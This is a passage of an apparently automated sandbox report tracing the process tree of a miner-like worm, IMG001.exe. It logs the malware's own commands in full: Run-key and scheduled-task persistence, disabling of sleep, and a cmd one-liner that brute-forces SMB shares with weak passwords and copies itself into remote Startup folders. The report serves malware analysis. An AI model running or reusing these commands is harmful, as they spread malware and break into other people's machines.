        PID:5560
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users /delete /y
      4⤵
      PID:5604
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 20 localhost
      4⤵
      Runs ping.exe
      PID:1568
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:5840
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1" /user:"1"
      4⤵
      PID:4352
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "1" /user:"1"
      4⤵
      PID:5240
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4016
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "123" /user:"1"
      4⤵
      PID:5460
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "123" /user:"1"
      4⤵
      PID:5528
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:5508
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1" /user:"1"
      4⤵
      PID:6088
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "1" /user:"1"
      4⤵
      PID:5640
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:2152
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1709" /user:"1"
      4⤵
      PID:4440
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "1709" /user:"1"
      4⤵
      PID:5564
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5764
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ """" /user:"1"
      4⤵
      PID:5732
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users """" /user:"1"
      4⤵
      PID:4860
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:5768
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "0" /user:"10.127.0.1"
      4⤵
      PID:2464
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "0" /user:"10.127.0.1"
      4⤵
      PID:5860
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:2576
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1" /user:"10.127.0.1"
      4⤵
      PID:1644
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "1" /user:"10.127.0.1"
      4⤵
      PID:5344
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:3912
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "123" /user:"10.127.0.1"
      4⤵
      PID:4364
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "123" /user:"10.127.0.1"
      4⤵
      PID:4416
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:5920
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "10.127.0.1" /user:"10.127.0.1"
      4⤵
      PID:4452
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "10.127.0.1" /user:"10.127.0.1"
      4⤵
      PID:1760
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:2536
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1709" /user:"10.127.0.1"
      4⤵
      PID:3304
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "1709" /user:"10.127.0.1"
      4⤵
      PID:5596
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:3740
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ """" /user:"10.127.0.1"
      4⤵
      PID:5392
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users """" /user:"10.127.0.1"
      4⤵
      PID:5856
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5356
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "0" /user:"administrator"
      4⤵
      PID:5112
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "0" /user:"administrator"
      4⤵
      PID:4288
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1" /user:"administrator"
      4⤵
      PID:5452
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "1" /user:"administrator"
      4⤵
      PID:4452
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:2980
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "123" /user:"administrator"
      4⤵
      PID:4416
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "123" /user:"administrator"
      4⤵
      PID:1172
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4044
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "administrator" /user:"administrator"
      4⤵
      PID:4440
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\Users "administrator" /user:"administrator"
      4⤵
      PID:4312
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:5568
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.0.1\C$ "1709" /user:"administrator"
      4⤵
      PID:2232

C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001.exe
"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4780
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3712
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im tftp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2012
- C:\Users\Admin\AppData\Local\Temp\tftp.exe
  "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
  2⤵
  - Executes dropped EXE
  PID:220
- C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
  "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Enumerates connected drives
  - NTFS ADS
  PID:3540
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
    3⤵
    PID:2912
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tftp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4540
- - C:\Users\Admin\AppData\Local\Temp\tftp.exe
    "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
    3⤵
    - Executes dropped EXE
    PID:2404
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
    3⤵
    PID:2400
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
      4⤵
      PID:4244
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
    3⤵
    PID:1368
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      4⤵
      Creates scheduled task(s)
      PID:2812
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
    3⤵
    PID:3904
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:1052
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
    3⤵
    PID:5012
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /CHANGE -standby-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4468
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /CHANGE -hibernate-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4920
  - - C:\Windows\SysWOW64\powercfg.exe
      Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4204
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=0206& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))
    3⤵
    - NTFS ADS
    PID:5076
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"
      4⤵
      PID:840
    - - C:\Windows\SysWOW64\net.exe
        
        net view
        5⤵
        Discovers systems in the same network
        
        PID:3720
    - - C:\Windows\SysWOW64\find.exe
        
        find /i "\\"
        5⤵
        
        PID:1908
    - - C:\Windows\SysWOW64\ARP.EXE
        
        arp -a
        5⤵
        
        PID:3848
    - - C:\Windows\SysWOW64\find.exe
        
        find /i " 1"
        5⤵
        
        PID:3284
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c set str_
      4⤵
      PID:4996
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net view \\10.127.255.255|find /i " "
      4⤵
      PID:4308
    - - C:\Windows\SysWOW64\net.exe
        
        net view \\10.127.255.255
        5⤵
        Discovers systems in the same network
        
        PID:4124
    - - C:\Windows\SysWOW64\find.exe
        
        find /i " "
        5⤵
        
        PID:852
  - - C:\Windows\SysWOW64\net.exe
      net use * /delete /y
      4⤵
      PID:4676
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:3728
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:1268
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4600
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:2980
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4432
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:920
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5496
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5616
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5668
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:1612
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:336
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4008
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:3900
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:2424
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:1664
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:2732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4536
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:2348
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:1696
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:392
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4560
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:1404
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:2016
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:4616
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:1932
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:3120
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:3564
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:2900
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4624
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:3208
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:2948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:2504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:1372
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:3856
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4592
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\1\IMG001.exe" "
      4⤵
      PID:1560
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\IMG001.exe"
        5⤵
        
        PID:1068
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ /delete /y
      4⤵
      PID:4216
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 20 localhost
      4⤵
      PID:1072
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5796
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:6108
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5824
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:3116
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:2520
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5388
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:3236
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4220
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5460
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5384
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5380
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5508
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5528
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5532
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5608
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5660
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5680
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5596
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5604
  - - C:\Windows\SysWOW64\cmd.exe
